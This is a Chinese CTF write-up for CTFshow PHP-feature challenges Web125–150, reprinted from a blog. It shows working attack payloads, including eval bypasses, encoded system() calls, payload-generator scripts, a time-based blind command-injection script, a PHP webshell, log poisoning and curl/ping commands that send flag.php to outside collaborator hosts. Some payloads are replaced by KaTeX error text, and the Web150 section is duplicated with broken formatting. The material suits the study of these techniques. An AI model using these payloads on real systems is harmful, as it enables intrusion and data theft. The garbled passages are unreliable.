当前位置: 首页 > news >正文

CTFshow-php特性(Web125-150)

CTFshow-php特性(Web125-150)

Web125

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){eval("$c".";");if($fl0g==="flag_give_me"){echo $flag;}}
}
?>
  1. POST : CTF_SHOW=&CTF[SHOW.COM=1&fun=highlight_file($_GET[1]) get:?1=flag.php

    CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_POST[1])&1=flag.php

  2. get:?KaTeX parse error: Expected 'EOF', got '&' at position 34: … post:CTF_SHOW=&̲CTF[SHOW.COM=&f…a[0])

  3. GET:?php://filter/read=convert.base64-encode/resource=flag.php POST:CTF_SHOW=a&CTF[SHOW.COM=b&fun=include($a[0])

Web126

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){eval("$c".";");  if($fl0g==="flag_give_me"){echo $flag;}}
}
  1. get:?KaTeX parse error: Expected 'EOF', got '&' at position 34: … post:CTF_SHOW=&̲CTF[SHOW.COM=&f…a[0]) 或assert
  2. CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval(KaTeX parse error: Expected 'EOF', got '&' at position 13: _REQUEST[m])&̲m=fl0g%3d"flag_give_me";
  3. GET:?a=1+fl0g=flag_give_me
    POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) + 代表空格
$_SERVER['argv'][0] 是$_SERVER['QUERY_STRING'];,$_SERVER['argv'][1] 的传递方式就和命令行类似了,空格,然后传递第二个参数,以此类推。利用$_SERVER['argv'][1] 就可以绕过对isset($fl0g)的判断。用+代表空格。

Web127

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];function waf($url){if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){return true;}else{return false;}
}if(waf($url)){die("嗯哼?");
}else{extract($_GET);
}if($ctf_show==='ilove36d'){echo $flag;
}

检查的是server而不是get因此ctf show=ilove36d

由于在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换,这里只能用空格

或者使用url编码:?%63%74%66%5f%73%68%6f%77=ilove36d

Web128

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);$f1 = $_GET['f1'];
$f2 = $_GET['f2'];if(check($f1)){var_dump(call_user_func(call_user_func($f1,$f2)));
}else{echo "嗯哼?";
}function check($str){return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL

当php扩展目录下有php_gettext.dll时:_()是一个函数。

_()==gettext() 是gettext()的拓展函数,开启text扩展get_defined_vars — 返回由所有已定义变量所组成的数组。

call_user_func — 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。

当正常的gettext(“get_defined_vars”);时会返还get_defined_vars

为了绕过正则,_()函数和gettext()的效果一样,

所以可以用_()函数代替gettext()函数。

?f1=_&f2=get_defined_vars

Web129 (目录穿越)

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){$f = $_GET['f'];if(stripos($f, 'ctfshow')>0){echo readfile($f);}
}
  1. ?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php
  2. ?f=php://filter/ctfshow/resource=flag.php
  3. ?f=/ctfshow/…/var/www/html/flag.php

其中的…/这是深层目录,根据需要尝试,另外目录是根据之前的题目猜测得到

PHP对无法使用的filter过滤器只会抛出warning而不是error

Web130

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){$f = $_POST['f'];if(preg_match('/.+?ctfshow/is', $f)){die('bye!');}if(stripos($f, 'ctfshow') === FALSE){die('bye!!');}echo $flag;
}

‘/.+?ctfshow/is’ 后面的i表示大小写匹配,s表示忽略换行符,单行匹配

在不加转义字符的前提下,前面的点表示任意字符,而“+?”表示非贪婪匹配,即前面的字符至少出现一次

所以,该正则匹配的意思为:ctfshow前面如果出现任意字符,即匹配准确

  1. f=ctfshow
  2. 使用数组绕过:f[]=anything

Web131

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){$f = (String)$_POST['f'];if(preg_match('/.+?ctfshow/is', $f)){die('bye!');}if(stripos($f,'36Dctfshow') === FALSE){die('bye!!');}echo $flag;
}

PHP回溯上限利用

常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入。
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态。

大多数程序语言都使用NFA作为正则引擎,其中也包括PHP使用的PCRE库

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。

我们可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限:结果返回为1000000

那么只需要输入的匹配字符串长度大于1000000,那么preg_match函数就会直接返回false,那么我们可以通过代码产生满足条件的字符串

echo “f=”.str_repeat(“very”,250000).“36Dctfshow”;

字符串“very”复制25万次,正好100万个字符

然后Post方式发送参数f,为生成的字符串即可得到flag

<?php
echo str_repeat('very', '250000').'36Dctfshow';
?>

Web132

进了个blog,dirsearch一下个admin

<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){$username = (String)$_GET['username'];$password = (String)$_GET['password'];$code = (String)$_GET['code'];if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == 'admin'){echo $flag;}}
}

admin/?username=admin&password=&code=admin

  1. PHP中的逻辑“与”运算有两种形式:and 和 &&,同样“或”运算也有 or 和 || 两种形式。
  2. 如果是单独两个表达式参加的运算,两种形式的结果完全相同
  3. 但两种形式的逻辑运算符优先级不同,这四个符号的优先级从高到低分别是: &&、||、AND、OR。

Web133

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6个字母都还不够呀?!");}
}

?F=$F ;sleep 3 观察发现页面确实存在延时,说明 sleep 3 执行成功了。

F ‘ ; s l e e p 3 会先经过 s u b s t r ( F `;sleep 3 会先经过substr( F;sleep3会先经过substr(F,0,6)截取六个字符后得到 $F ;

然后执行 eval(“$F ;”);

而其中的 F 原本是我们传入的内容,即 ‘ F 原本是我们传入的内容,即 ` F原本是我们传入的内容,即F `;sleep 3;

因此执行的是 eval(“``$F ;sleep 3”); 也就会执行 sleep 3。

``是shell_exec()函数的缩写,然后就去命令执行,是没有回显的

可以通过DNSlog,

?F=$F; ping cat flag.php | grep ctfshow | tr -cd '[a-z]'/'[0-9]'.dnslog得到的网址 -c 1

ctfshow web入门 php特性 web123–web139_ctfshow web139-CSDN博客

这里使用 burpsuite 的 Collaborator Client 结合 curl -F 命令外带 flag:

这个模块说实话我也是第一次用,先随机获取一个域名:

image-20241216163317929

http://839sizfkvi1ksa81amhy4ca9j0prdw1l.oastify.com/

构造 payload:

?F=`$F`;+curl -X POST -F xx=@flag.php  http://839sizfkvi1ksa81amhy4ca9j0prdw1l.oastify.com/

对 payload 的一些解释:

-F 为带文件的形式发送 post 请求;

其中 xx 是上传文件的 name 值,我们可以自定义的,而 flag.php 就是上传的文件 ;

curl:用于在命令行中发出网络请求的工具。

-X POST:指定使用 POST 方法请求目标 URL。

-F xx=@flag.php:以 表单格式 (multipart/form-data) 发送 flag.php 文件的内容,键名为 xx

  • xx:POST 请求的参数名,类似于 HTML 表单中的 <input name="xx" type="file">
  • @flag.php:读取本地文件 flag.php 并将其作为文件内容上传

z55c4qucwi77mo3jgruxqlil0c63us.burpcollaborator.net:目标 URL,用于接收外部数据

相当于让服务器向 Collaborator 客户端发送 post 请求,内容是flag.php。

image-20241216163722580

这里还可以直接命令执行:

?F=`$F`; curl http://7dlviqq1kp7fyuu27x61yqbyepkh8cw1.oastify.com/`ls`

Web134

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {die(file_get_contents('flag.php'));
}

parse_str是对get请求进行的内容解析成变量。例如传递?a=1,执行后就是$a=1

那么相对的,传递_POST,就是对$_POST进行赋值,正好就可以绕过if条件对post的限制。

extract() 函数从数组中将变量导入到当前的符号表。

?_POST[key1]=36d&_POST[key2]=36d
//刚好 key1=36d&key2=36d

Web135

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){eval(substr($F,0,6));}else{die("师傅们居然破解了前面的,那就来一个加强版吧");}
}

过滤了curl,这里可以用ping带出,或者写入到一个文件再看即可

?F=`$F` ;cp flag.php x.txt
?F=`$F` ;nl flag.php>x.txt
?F=`$F` ;mv flag.php x.txt
?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd '[a-z]'/'[0-9]'`.i1k4phddlneygl58oqbjxv93full9a.oastify.com

Web136

<?php
error_reporting(0);
function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}
?>

其实是在135的基础上增加了过滤 ><
但是linux中还可以用tee写文件

ls|tee xxx

我们先来看下当前目录下有啥文件,访问url/xxx发现只有一个index.php
那我们再去看看根目录下有什么文件

ls /|tee xxx

得到 f149_15_h3r3
最后直接打开就可以了

nl  /f149_15_h3r3|tee xxx

Web137

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}
}
call_user_func($_POST['ctfshow']);

php中 ->与:: 调用类中的成员的区别

->用于动态语境处理某个类的某个实例

::可以调用一个静态的、不依赖于其他初始化的类方法.

ctfshow::getFlag

Web138

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}
}
if(strripos($_POST['ctfshow'], ":")>-1){die("private function");
}
call_user_func($_POST['ctfshow']);

这时候就考察我们对call_user_func函数的使用了,call_user_func中不但可以传字符串也可以传数组。

call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

Web139

<?php
error_reporting(0);
function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}
?>

不能写文件了,考虑盲注,写脚本:

import requests
import time
import string# 1. 可用的字符集 (字母和数字)
str = string.ascii_letters + string.digits + '_'# 2. 结果存储变量
result = ""# 3. 遍历前 4 行的文件名
for i in range(1, 5):  # 遍历根目录的前 4 个文件/目录名key = 0for j in range(1, 15):  # 遍历每个文件/目录名的前 14 个字符if key == 1:breakfor n in str:  # 依次尝试所有字符payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)# 4. 向服务器发送请求url = "http://68455ea8-64b9-402f-a3b3-8ecefb8b0ab2.challenge.ctf.show/?c=" + payloadtry:requests.get(url, timeout=(2.5, 2.5))  # 如果请求时间超过 2.5 秒,则判定字符正确except:result = result + n  # 如果请求超时,说明字符正确print(result)  # 输出当前的结果breakif n == '_':  # 如果尝试到 _ 都没有成功,说明这个文件/目录的名字已结束key = 1result += " "  # 用空格分隔每个文件/目录的名字
if [ `ls / | awk 'NR=={0}' | cut -c {1}` == {2} ]; then sleep 3; fi

核心命令

这是一个条件判断语句,如果满足条件就sleep 3 秒,否则什么也不做。是可变的部分,分别对应:

  • {0}:根目录的第几个文件/目录(i
  • {1}:文件/目录的名字的第几个字符(j
  • {2}:当前尝试的字符(n

bin dev etc f149_15_h3r3

然后盲注flag

import requests
import time
import stringstr = string.digits+string.ascii_lowercase+"-"
result = ""for j in range(1,45):for n in str:payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)url="http://68455ea8-64b9-402f-a3b3-8ecefb8b0ab2.challenge.ctf.show/?c="+payloadtry:requests.get(url,timeout=(2.5,2.5))except:result= result+ nprint(result)break

ctfshow{c8e00463-d1d8-47c6-9dfb-2b4e373ac6f3}

Web140

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){$f1 = (String)$_POST['f1'];$f2 = (String)$_POST['f2'];if(preg_match('/^[a-z0-9]+$/', $f1)){if(preg_match('/^[a-z0-9]+$/', $f2)){$code = eval("return $f1($f2());");if(intval($code) == 'ctfshow'){echo file_get_contents("flag.php");}}}
}

在这里插入图片描述

可以看到只要我们让intval($code)为0就可以了

intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0

md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd())     因为/var/www/html md5后开头的数字所以我们改用sha1

Web141

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)-CSDN博客

<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/^\W+$/', $v3)){$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
\W`:与任何非单词字符匹配。就是除了数字、字母、下划线。等价于`[^A-Za-z0-9_]

[^xyz]:一个否定的字符集

大家可以看下下面的示例

eval("return 1;phpinfo();");

会发现是无法执行phpinfo()的,但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的。

这样就好说了。构造出1-phpinfo()-1就可以了,也就是说 v1=1&v2=1&v3=-phpinfo()-。

现在我们的任务就是取构造命令,那我们就用个简单的方式取反来试一下。

-system(‘tac f*’)-

import os
import re
from urllib.parse import unquotedef make_dic(operation):filename = f"rce_{operation}.txt"if not os.path.exists(filename):print("Making dictionary...")with open(filename, "w") as myfile:contents = []seen = set()  # 使用集合来跟踪已添加的结果# 遍历所有可能的字节值(0-255)for i in range(256):for j in range(256):# 将$i和$j转换为两个字符的十六进制表示hex_i = f'{i:02x}'hex_j = f'{j:02x}'# 正则表达式用于匹配特定字符pattern = re.compile(r'[0-9a-z\^\+\~\$\[\]\{\}\&\-]', re.IGNORECASE)# 如果十六进制字符转换为二进制后匹配正则表达式,则跳过此循环if pattern.match(bytes.fromhex(hex_i).decode('latin1')) or pattern.match(bytes.fromhex(hex_j).decode('latin1')):continue# 将十六进制值添加百分号前缀并进行URL解码a = f'%{hex_i}'b = f'%{hex_j}'match operation:case "and":c = chr(ord(unquote(a)) & ord(unquote(b)))case "or":c = chr(ord(unquote(a)) | ord(unquote(b)))case "xor":c = chr(ord(unquote(a)) ^ ord(unquote(b)))# 如果解码后的字符是可打印字符(ASCII 32-126),则将其添加到内容列表中if 32 <= ord(c) <= 126 and c not in seen:contents.append(f"{c} {a} {b}\n")seen.add(c)  # 将结果添加到集合中# 将内容写入文件myfile.writelines(contents)print("Making dictionary...done")else:print("Dictionary already exists!!")def generate_payload(text, operation):op_symbols = {"and": '&', "or": '|', "xor": '^'}op = op_symbols[operation]s1 = []s2 = []filename = f"rce_{operation}.txt"with open(filename, 'r') as f:lines = f.readlines()for char in text:for line in lines:if char == line[0]:s1.append(line[2:5])s2.append(line[6:].strip())breakreturn f"(\"{''.join(s1)}\"{op}\"{''.join(s2)}\")"function = input("Please input your function: ")command = input("Please input your command: ")while True:operation = input("Please input your operation (and or xor): ")if operation in ["and", "or", "xor"]:breakelse:print("Please choose one of the following: and, or, xor")make_dic(operation)payload = generate_payload(function, operation) + generate_payload(command, operation)print("Generated payload is :" + payload)

输入system,tac f*,xor or都行,

payload

?v1=1&v2=1&v3=-("%0c%05%0c%08%05%0d"^"%7f%7c%7f%7c%60%60")("%08%01%03%00%06%00"^"%7c%60%60%20%60%2a")-
?v1=1&v2=1&v3=-("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%00%06%00"|"%60%60%60%20%60%2a")-

Web142

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){$v1 = (String)$_GET['v1'];if(is_numeric($v1)){$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);sleep($d);echo file_get_contents("flag.php");}
}

v1=0

Web143

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){die('get out hacker!');}else{$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

payload,用*也是一样的

?v1=1&v2=1&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%14%01%03%00%06%00"^"%60%60%60%20%60%2a")*

Web144

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && check($v3)){if(preg_match('/^\W+$/', $v2)){$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
function check($str){return strlen($str)===1?true:false;
}
?v1=1&v2=("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%14%01%03%00%06%00"^"%60%60%60%20%60%2a")&v3=-

Web145

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

考察点:三目运算符的妙用

eval("return 1?phpinfo():1;");
  1. ?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):&v2=1
    
  2. ?v1=1&v3=|((‘%13%19%13%14%05%0d’)|(‘%60%60%60%60%60%60’))(((‘%03%01%14%20%06%02’)|(‘%60%60%60%20%60%28’)))|&v2=1

发现之前的脚本没取反,自己加一下:

import os
import re
from urllib.parse import unquote,quotedef make_dic(operation):filename = f"rce_{operation}.txt"if not os.path.exists(filename):print("Making dictionary...")with open(filename, "w") as myfile:contents = []seen = set()  # 使用集合来跟踪已添加的结果# 遍历所有可能的字节值(0-255)for i in range(256):for j in range(256):# 将$i和$j转换为两个字符的十六进制表示hex_i = f'{i:02x}'hex_j = f'{j:02x}'# 正则表达式用于匹配特定字符pattern = re.compile(r'[0-9a-z\^\+\~\$\[\]\{\}\&\-]', re.IGNORECASE)# 如果十六进制字符转换为二进制后匹配正则表达式,则跳过此循环if pattern.match(bytes.fromhex(hex_i).decode('latin1')) or pattern.match(bytes.fromhex(hex_j).decode('latin1')):continue# 将十六进制值添加百分号前缀并进行URL解码a = f'%{hex_i}'b = f'%{hex_j}'match operation:case "and":c = chr(ord(unquote(a)) & ord(unquote(b)))case "or":c = chr(ord(unquote(a)) | ord(unquote(b)))case "xor":c = chr(ord(unquote(a)) ^ ord(unquote(b)))# 如果解码后的字符是可打印字符(ASCII 32-126),则将其添加到内容列表中if 32 <= ord(c) <= 126 and c not in seen:contents.append(f"{c} {a} {b}\n")seen.add(c)  # 将结果添加到集合中# 将内容写入文件myfile.writelines(contents)print("Making dictionary...done")else:print("Dictionary already exists!!")# <?php
# $a=urlencode(~'system');
# echo $a;
# echo '\n';
# $b=urlencode(~'tac f*');
# echo $b;def generate_payload(text, operation):op_symbols = {"and": '&', "or": '|', "xor": '^'}op = op_symbols[operation]s1 = []s2 = []filename = f"rce_{operation}.txt"with open(filename, 'r') as f:lines = f.readlines()for char in text:for line in lines:if char == line[0]:s1.append(line[2:5])s2.append(line[6:].strip())breakreturn f"(\"{''.join(s1)}\"{op}\"{''.join(s2)}\")"def negate_rce():system = input("[+]your function: ").replace("\r", "").replace("\n", "")command = input("[+]your command: ").replace("\r", "").replace("\n", "")def encode_and_negate(s):result = ''for char in s:# 1. Get ASCII value of the characterascii_value = ord(char)# 2. URL encode it manually (instead of urllib's quote) to always get %XX formaturl_encoded = f"%{ascii_value:02X}"  # ASCII value to two-digit hex# 3. Remove '%' and convert to integerhex_value = int(url_encoded[1:], 16)  # This is safe now# 4. Bitwise negate and ensure 8-bit (0-255) resultnegated_value = ~hex_value & 0xFF# 5. Convert back to hex and format as %XXresult += f"%{negated_value:02X}"return resultnegated_system = encode_and_negate(system)negated_command = encode_and_negate(command)print(f'[*] (~{negated_system})(~{negated_command});')mode = input("Please input your mode(1:~ 2:and or xor): ")if mode == 1:print("choose ~ mode")negate_rce()
else:print("choose and or xor mode")function = input("Please input your function: ")command = input("Please input your command: ")while True:operation = input("Please input your operation (and or xor): ")if operation in ["and", "or", "xor"]:breakelse:print("Please choose one of the following: and, or, xor")make_dic(operation)payload = generate_payload(function, operation) + generate_payload(command, operation)print("Generated payload is :" + payload)

Web146

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

:被禁用,使用等号和位运算符

eval("return 1==phpinfo()||1;");
?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)||&v2=1

/?v1=1&v2=1&v3=|(('%13%19%13%14%05%0d')|('%60%60%60%60%60%60'))((('%03%01%14%20%06%02')|('%60%60%60%20%60%28')))|

Web147

<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){$ctfshow = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {$ctfshow('',$_GET['show']);}
}

考察点:create_function()代码注入,create_function(‘$a’,‘echo $a.“123”’)

类似于

function f($a) {echo $a."123";
}

那么如果我们第二个参数传入 echo 1;}phpinfo();//
就等价于

function f($a) {echo 1;}phpinfo();//
}

从而执行phpinfo()命令修饰符 /isD

  • i:不区分大小写(a-z 变成了 a-zA-Z)。
  • s:使点号 . 可以匹配换行符 \n,但在这个表达式中没用到 .,所以它无效
  • D:表示 $ 只匹配字符串的结尾,而不是行的结尾、。

正则匹配绕过,只要ctfshow里有一个不是数字、小写字母和下划线就能绕过。

只要有一个不符合的字符preg_match 就会返回 false,从而导致 !preg_match 的结果为 true

参考:Code Breaking 挑战赛 Writeup

image-20241217160613956

get: show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function

%5c绕过原理:php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 调用一个函数时直接写函数名function_name(),相当于是相对路径调用; 如写某一全局函数的完全限定名称\function_name()调用,则是写了一个绝对路径。

Web148

<?php
include 'flag.php';
if(isset($_GET['code'])){$code=$_GET['code'];if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){die("error");}@eval($code);
}
else{highlight_file(__FILE__);
}function get_ctfshow_fl0g(){echo file_get_contents("flag.php");
}
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");

Web149

<?php
error_reporting(0);
highlight_file(__FILE__);$files = scandir('./'); 
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}file_put_contents($_GET['ctf'], $_POST['show']);$files = scandir('./'); 
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}

一句话木马:show=<?php eval($_POST['cmd']);?>

?ctf=index.php,然后访问index.php,蚁剑连接

image-20241217163757604

Web150

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}
}#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf);
}

变量覆盖使isVIP=1,修改user-agent插入一句话木马,执行两次就行,

POST /?isVIP=1 HTTP/1.1
Sec-Ch-Ua: "Microsoft Edge";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: <?php eval($_POST[1]);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ctf.show/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6ctf=/var/log/nginx/access.log&1=system('tac f*');

Web150-plus

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}
}#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){include($ctf);
}?>

对日志,_,[做了过滤,看

__CTFSHOW__

如果想传入这个,但是key又被过滤了,考虑之前的[._但是下划线和[被过滤,那就只能用.,flag就在phpinfo中,搜ctfshow

?..CTFSHOW…=phpinfo
navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ctf.show/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

ctf=/var/log/nginx/access.log&1=system(‘tac f*’);


## Web150-plus```php
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}
}#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){include($ctf);
}?>

对日志,_,[做了过滤,看

__CTFSHOW__

